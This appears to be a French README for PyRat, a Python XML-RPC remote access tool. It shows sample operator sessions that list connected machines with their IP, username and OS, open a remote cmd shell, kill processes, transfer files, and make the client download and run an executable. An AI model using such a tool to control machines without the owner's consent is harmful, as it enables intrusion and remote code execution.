
PyRat,a rat by python xmlrpc
PyRat, un projet open-source de contrôle à distance basé sur Python XmlRPC, comprenant un client et un serveur (également appelé contrôleur, ci-après désigné comme serveur).
Déclaration : ce projet est uniquement destiné à l'échange technique, ne l'utilisez pas à des fins commerciales ou illégales. Toute responsabilité légale éventuelle incombe à l'utilisateur, non à moi !
Client
> python .\pyratcli.py localhost 80
Serveur
> python pyratsvr.py 80
--------------------Python RAT-----------------------
--------------------anhkgg---------------------------
--------------------Copyright (c) 2018---------------
Logiciel destiné uniquement à l'échange technique, ne l'utilisez pas à des fins commerciales ou illégales. Toute responsabilité légale éventuelle incombe à l'utilisateur, non à moi !
--------------------Commandes de tâche-----------------
--|(l)ist (a)live (k)ill (s)elect (p)rint (c)mdshell (n)ew (d)ownload (r)unexec (u)pload (t)erminate (q)uit (h)elp|--
cmd >
Lorsque le client se connecte, le serveur affiche une notification et définit le client le plus récent comme cible par défaut.
cmd >test-3333333 est en ligne.
Cible automatique définie : test-3333333
help ou h permet de lister toutes les commandes prises en charge par le serveur.
cmd >help
(l)ist: lister tous les clients
(a)live: lister les clients actifs
(k)ill: supprimer un client
(s)elect: sélectionner un client cible
(p)rint: afficher le client actuel
(c)mdshell: créer un cmdshell, tapez q pour quitter
(n)ew: mettre à jour la version du client
(d)ownload: demander au client de télécharger un fichier
(r)unexec: demander au client d'exécuter un exe
(u)pload: téléverser un fichier vers le client
(t)erminate:terminer un processus
(q)uit: quitter le serveur
Le serveur utilise SQLite pour enregistrer les informations de base des clients et les tâches, et permet de gérer les clients via des commandes.
// Lister tous les clients
cmd >l
test-3333333 hors ligne 2018-03-20 22:46:59!
id | client_id | version | localip | remoteip | username | osversion | firsttime | lasttime | status
10 | test-3333333 | 0.1.0 | 192.168.149.1 | 114.245.47.12 | test | Windows10.0.16299 | 2018-03-17 12:39:56 | 2018-03-20 22:46:59 | 0
cmd >
// Lister les clients en ligne
cmd >a
aucun client actif
// Supprimer un enregistrement client de la base ou désinstaller le client
cmd >k
cid cible (ou ALL) :test-3333333
Voulez-vous désinstaller le client ? (O/N)
Pour contrôler un client, il faut d'abord sélectionner la cible avec select ou s.
cmd >c // Tentative d'entrer dans cmdshell, message : pas de cible
Veuillez d'abord définir un client cible avec la commande (s)elect.
cmd >s // Définir la cible
client_id:test-3333333
Client cible défini : test-3333333
// Voir la cible actuelle
cmd >p
test-3333333
Entrez dans cmdshell avec cmdshell ou c. Tant que vous ne tapez pas q, vous restez dans le répertoire de travail du cmdshell.
Le cmdshell conserve le répertoire de travail (ex: cd c:) – la prochaine opération s'effectuera dans ce répertoire, réalisant un cmdshell de type pipeline.
Par ailleurs, si vous lancez un processus via cmdshell, certains processus peuvent bloquer le retour des messages ; il est donc déconseillé de le faire. Utilisez plutôt runexec.
cmd >c
RAT-CMD > dir
RAT-CMD > test-3333333 exécute cmdshell(195) dir True
Le volume dans le lecteur D est gitrepo
Le numéro de série du volume est EB2F-5AC0
Répertoire de D:\PyRat\client
2018/02/24 09:40 <DIR> .
2018/02/24 09:40 <DIR> ..
2018/03/20 22:46 4,919 pyratcli.py
2018/03/20 23:01 28 cmd.log
2018/03/17 12:39 1,322 pyratfc.py
2018/03/17 11:19 2,500 osver.py
2018/03/17 12:39 2,161 pyratfc.pyc
5 fichier(s) 10,930 octets
2 répertoire(s) 647,836,565,504 octets libres
RAT-CMD > ver
RAT-CMD > test-3333333 exécute cmdshell(196) ver True
Microsoft Windows [version 10.0.16299.309]
RAT-CMD > tasklist
RAT-CMD > test-3333333 exécute cmdshell(197) tasklist True
Nom de l'image PID Nom de la session Session# Mémoire
========================= ======== ================ =========== ============
System Idle Process 0 Services 0 8 K
System 4 Services 0 3,564 K
smss.exe 360 Services 0 412 K
csrss.exe 492 Services 0 1,700 K
Calculator.exe 21656 RDP-Tcp#85 1 56,772 K
RAT-CMD > tasklist |findstr Cal
RAT-CMD > test-3333333 exécute cmdshell(200) tasklist |findstr Cal True
Calculator.exe 21656 RDP-Tcp#85 1 51,856 K
RAT-CMD > taskkill /IM Calculator.exe
RAT-CMD > test-3333333 exécute cmdshell(201) taskkill /IM Calculator.exe True
Succès : le signal de terminaison a été envoyé au processus "Calculator.exe" (PID 21656).
RAT-CMD > taskkill /PID 21656
RAT-CMD > test-3333333 exécute cmdshell(202) taskkill /PID 21656 True
Succès : le signal de terminaison a été envoyé au processus (PID 21656).
Téléchargement et téléversement de fichiers pris en charge. Le téléchargement peut se faire à partir d'une URL réseau ou d'un fichier local du serveur. Pour l'instant, seuls le téléchargement et le téléversement de fichiers uniques sont supportés.
cmd >d
url (tapez N pour télécharger un fichier local) :N // Choisir de télécharger un fichier local
fichier local :db.db
chemin de destination :db.db
cmd >test-3333333 exécute download(203) local db.db db.db True
téléchargement réussi
cmd >d
url (tapez N pour télécharger un fichier local) :https://dl.360safe.com/360/inst.exe // Télécharger un fichier réseau
chemin de destination :inst.exe
cmd >test-3333333 exécute download(204) net https://dl.360safe.com/360/inst.exe inst.exe True
téléchargement réussi
cmd >r
cible à exécuter :inst.exe
runexec inst.exe
cmd > t
Sélectionnez le type (nom/pid) :nom
nom du processus :notepad.exe
cmd >test-3333333 exécute terminate(212) name notepad.exe True
Succès : le signal de terminaison a été envoyé au processus "notepad.exe" (PID 25416).
Si le client fonctionne sous Linux et le serveur sous Windows, les caractères chinois peuvent s'afficher mal car les deux plateformes utilisent des encodages différents. Ce problème n'a pas encore été traité.
